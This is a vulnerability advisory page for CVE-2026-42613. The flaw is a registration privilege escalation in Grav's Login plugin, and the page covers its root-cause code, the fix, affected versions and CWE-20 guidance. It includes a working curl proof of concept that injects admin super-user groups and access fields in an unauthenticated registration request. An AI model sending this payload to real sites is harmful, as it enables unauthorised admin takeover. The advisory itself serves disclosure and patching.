Skip to content

GHSA-pxm6-mhxr-q4mj CVE-2026-42613

Grav Vulnerable to Privilege Escalation via Missing Server-Side Validation of groups/access

Critical Packagist
Severity
9.4 / 10
Critical · CVSS 3.1
Exploit chance (EPSS)
1.14%
Chance of exploitation in the next 30 days. Higher than 66.51% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-20 Improper Input Validation
Fix
2.0.0-beta.2
Upgrade getgrav/grav to this version or later

Description

Bug Report: Registration Privilege Escalation via Missing Server-Side Validation of groups/access

Summary

The Login::register() method in the Login plugin accepts attacker-controlled groups and access fields from the registration POST data without server-side validation. When registration is enabled and groups or access are included in the configured allowed fields list, an unauthenticated user can self-register with admin.super privileges by injecting these fields into the registration request.

This is a missing server-side validation issue — the only defense is a config-level fields allowlist, which is an admin-facing setting, not a hardcoded security boundary.

Affected Component

  • File: user/plugins/login/classes/Login.php, lines 246-306
  • Method: Login::register()
  • Validation: Login::validateField(), lines 363-432
  • Plugin: Login Plugin 3.8.0
  • Grav: 1.8.0-beta.29

Root Cause

In register() (lines 254-267), the groups and access fields are only set to config defaults if they are not already present in the input data:

// Line 254-260
if (!isset($data['groups'])) {
    $groups = (array) $this->config->get('plugins.login.user_registration.groups', []);
    if (count($groups) > 0) {
        $data['groups'] = $groups;
    }
}

// Line 262-267
if (!isset($data['access'])) {
    $access = (array) $this->config->get('plugins.login.user_registration.access.site', []);
    if (count($access) > 0) {
        $data['access']['site'] = $access;
    }
}

If an attacker includes groups or access in the POST body, the !isset() check passes and the config defaults are skipped. The attacker's values flow through unchanged.

Later (lines 298-303), these values are assigned directly to the user object:

if (isset($data['groups'])) {
    $user->groups = $data['groups'];  // attacker-controlled
}
if (isset($data['access'])) {
    $user->access = $data['access'];  // attacker-controlled
}
$user->save();

The validateField() method (lines 363-432) has a switch statement that only validates: username, password, password2, email, permissions, state, and language. The groups and access fields pass through the default case with no validation at all.

Precondition

Registration must be enabled with groups and/or access in the configured allowed fields:

# user/config/plugins/login.yaml
user_registration:
  enabled: true
  fields:
    - username
    - password
    - email
    - fullname
    - groups    # ← enables the attack
    - access    # ← enables the attack

This is a configuration the admin UI allows without any warning. An admin adding groups to let users pick a non-privileged group (e.g., editors) unknowingly exposes the escalation path, since there is no validation constraining which groups can be selected.

Proof of Concept

Malicious registration request (unauthenticated):
curl -X POST "${TARGET}/user_register" \
  --data-urlencode "data[username]=attacker" \
  --data-urlencode "data[password1]=Str0ngP@ss!" \
  --data-urlencode "data[password2]=Str0ngP@ss!" \
  --data-urlencode "data[email]=attacker@evil.com" \
  --data-urlencode "data[fullname]=Attacker" \
  --data-urlencode "data[groups][]=admins" \
  --data-urlencode "data[access][admin][login]=true" \
  --data-urlencode "data[access][admin][super]=true" \
  --data-urlencode "data[access][site][login]=true" \
  --data-urlencode "form-nonce=${FORM_NONCE}" \
  --data-urlencode "__form-name__=user_register" \
  --data-urlencode "__unique_form_id__=${FORM_UID}"
Resulting account file (user/accounts/attacker.yaml):
email: attacker@evil.com
fullname: Attacker
groups:
  - admins
access:
  admin:
    login: true
    super: true
  site:
    login: true
hashed_password: ...
state: enabled

The attacker can then log into /admin with full super-admin privileges.

Impact

  • Severity: Critical (when precondition is met)
  • Vector: Unauthenticated → Super Admin
  • Escalation: Full admin panel access, which chains to RCE via known admin vectors https://github.com/getgrav/grav/security/advisories/GHSA-4fg4-8cr8-326m or Plugin Upload
  • Precondition: Registration enabled with groups or access in allowed fields — a configuration the admin UI permits without warning

Environment

  • Grav Core: 1.8.0-beta.29
  • Login Plugin: 3.8.0
  • PHP: 8.4.11

Credits

Jonathan Dersch at Hacking Cult GmbH https://hackingcult.de/


Maintainer note — fix applied (2026-04-24)

Fixed in grav-plugin-login 3.8.2 (commit 3d419a0). On the Grav 2.0 line, the login plugin is pinned at >=3.8.2 by admin2's blueprints.yaml, so sites running admin2 with Grav 2.0.0-beta.2 pick the fix up automatically.

What changed: the registration form handler now explicitly skips the groups and access privilege fields in the per-field input loop — even if an administrator added them to user_registration.fields. A warning is logged on any attempted injection. Server-side default_values, invitations, and the user_registration.{groups,access} config remain the sole sources of those values.

Files:

  • login.php — form handler privilege-field strip.

Affected versions

Packagist

PackageVulnerableFixed in
getgrav/grav
< 2.0.0-beta.2
2.0.0-beta.2

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

getgrav/grav Packagist → 2.0.0-beta.2

composer
composer require getgrav/grav:^2.0.0-beta.2

Severity breakdown

CVSS 3.1 9.4

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
Low

Weakness

CWE-20: Improper Input Validation

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

How to prevent it
  • Architecture and Design: Consider using language-theoretic security (LangSec) techniques that characterize inputs using a formal language and build "recognizers" for that language. This effectively requires parsing to be a distinct layer that effectively enforces a boundary between raw input and internal data representations, instead of allowing parser code to be scattered throughout the program, where it could be subject to errors or inconsistencies that create weaknesses. [REF-1109] [REF-1110] [REF-1111]
  • Architecture and Design: Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).
  • Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter the product, including but not limited to: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server. Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.
  • Implementation: When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.
  • Implementation: Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.
  • Implementation: Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.
  • Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
  • Implementation: When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-xjw5-q542-3vmr
Grav: config_denied_paths default list omits `system`, exposing real secrets (e.g. system.cache.redis.password) via the Twig sandbox when config_access is enabled
High Also affects getgrav/grav
GHSA-3jhr-mxmx-38cx
Grav: UserInterface offsetget/offsetexists allow-listed in Twig sandbox let editor-authored content leak hashed_password and 2FA secrets via offsetGet()
Medium Also affects getgrav/grav
GHSA-9ccq-2jfg-qw33
Grav: Origin validation bypass in Uri::referrer() and Pages::referrerRoute() via unanchored prefix match
Critical Also affects getgrav/grav
GHSA-38p6-h87p-r4cg
Grav: Non constant time nonce comparison in Utils::verifyNonce() used for CSRF protection
Medium Also affects getgrav/grav
GHSA-p597-crqc-m349
Grav: The system, site, and theme Twig variables bypass the content sandbox entirely and are never covered by config_denied_paths
Medium Also affects getgrav/grav
GHSA-47ch-6w46-6xm7
Grav: media_directory() Twig function allows filesystem path traversal and file content disclosure from sandboxed page content
Medium Also affects getgrav/grav
GHSA-jq29-c7v8-rg55
Grav: Path Traversal in MediaUploadTrait::deleteFile() Allows Arbitrary File Deletion
High Also affects getgrav/grav
GHSA-8hgv-xc77-jmcr
Grav: Page editors can inject arbitrary script into rendered pages via the Twig sandbox's assets.addJs/addCss allowlist, escalating to super-admin
Medium Also affects getgrav/grav
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor